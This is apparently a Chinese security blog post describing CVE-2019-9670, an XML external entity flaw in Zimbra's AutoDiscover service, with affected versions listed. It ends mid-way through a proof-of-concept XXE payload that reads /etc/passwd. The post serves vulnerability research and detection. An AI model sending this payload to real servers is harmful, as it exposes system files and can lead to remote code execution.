【网络安全】漏洞挖掘之CVE-2019-9670+检测工具

未经许可，不得转载。

漏洞介绍

CVE-2019-9670 是一个与 Zimbra Collaboration Suite (ZCS) 相关的严重漏洞。ZCS 中的 AutoDiscover 服务存在不正确的 XML 解析处理，该漏洞可被利用来注入恶意 XML 代码（例如外部实体注入（XXE）攻击），从而导致服务器任意文件读取或远程代码执行 (RCE)。

• Zimbra < 8.7.11 版本中，攻击者可以在无需登录的情况下，实现远程代码执行。

• Zimbra < 8.8.11 版本中，在服务端使用 Memcached 做缓存的情况下，经过登录认证后的攻击者可以实现远程代码执行。

正文

目标：example.com

请求包中添加如下POC：

<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!--ENTITY xxe SYSTEM "file:///etc/passwd" -->]>
 <Autodiscover xmlns="http://schem